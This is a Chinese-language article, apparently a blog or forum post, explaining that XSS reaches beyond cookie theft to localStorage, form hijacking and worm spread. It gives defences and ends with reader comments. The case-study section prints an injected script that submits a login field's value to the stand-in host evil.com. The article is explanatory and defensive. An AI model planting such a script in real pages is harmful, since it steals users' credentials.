XSS漏洞真只会盗取Cookie?
TOPIC SOURCE
干货|可别小看了XSS漏洞
很多初学者在看到 XSS(跨站脚本)报告时,第一反应就是“它只能偷走 Cookie”。实际上,攻击者可以把浏览器当成一把多功能的钥匙,打开几乎所有与用户交互的后门。只要脚本在受害者的上下文里执行,信息泄露、请求伪造、甚至自我复制的蠕虫都不再是空想。
超越 Cookie 的攻击面
除了最常被提到的 document.cookie,攻击者还能直接读取 localStorage、sessionStorage,甚至利用 navigator 对象抓取浏览器指纹、已安装插件列表。通过构造隐藏的 form 并自动提交,后台删除、转账或修改密码的请求可以在毫秒间完成;利用 fetch 或 XMLHttpRequest,攻击者还能把用户的企业内部 API 结果偷回自己的服务器。
实战案例:从表单劫持到蠕虫传播
某金融门户在登录页缺少 CSP(内容安全策略),攻击者注入了如下脚本:
<script>
var f=document.createElement('form');
f.method='POST';f.action='https://evil.com/steal';
f.innerHTML='<input name="user" value="'+document.getElementById('user').value+'"/>';
document.body.appendChild(f);
f.submit();
</script>
表单悄然提交后,用户的登录凭证被转走。更离谱的是,同一段代码里加入了对 localStorage 的遍历,收集的会话信息再通过 WebSocket 推送到攻击者的控制台。随后,攻击者在页面中植入自复制的 script,导致登录后每一次访问都自动下载恶意脚本,形成了 2003 年“冲击波蠕虫”式的链式感染。
防御视角:不止 HttpOnly
- 采用严格的 CSP,禁止内联脚本和不受信任的来源。
- 对所有输出进行上下文感知的转义,HTML、属性、URL、JavaScript 均使用专用编码函数。
- 启用 SRI(子资源完整性)校验,防止第三方库被篡改。
- 对敏感操作加入双因素验证或一次性令牌,即使 XSS 成功也难以完成关键请求。
把 XSS 当成“只会偷 Cookie”的误区抛开,才能真正评估它在实际攻击链中的位置。只要脚本能在用户浏览器里跑,几乎任何能在前端完成的操作,都可能被恶意利用。于是,安全团队在审计时会把“页面展示”与“业务逻辑”同等看待,防线自然更稳固。

参与讨论
原来XSS还能干这么多事,之前真以为就偷cookie呢
这案例太吓人了,表单直接被劫持还自复制?
求问CSP具体怎么配才能防住这种内联脚本啊?
前几天刚修了个XSS漏洞,只加了HttpOnly,现在看漏了好多点
localStorage也能被读?那存token岂不是更危险
感觉很多公司根本没开CSP,纯靠转义硬扛
用WebSocket偷数据这招有点狠啊🤔
要是页面里用了第三方统计脚本,是不是更容易被带入恶意代码?
SRI真的有用吗?我试过但老报错,最后关了
这不就是浏览器完全沦陷了嘛,用户点一下就全完了
内部API没做二次验证的话,XSS一打一个准
防御措施列得挺全,但实际开发哪有时间全搞hhh
2003年蠕虫都搬出来了,真是经典永流传啊。
@ 布鲁斯 经典案例总得拿出来说说
原来还能偷localStorage,这可比cookie狠多了。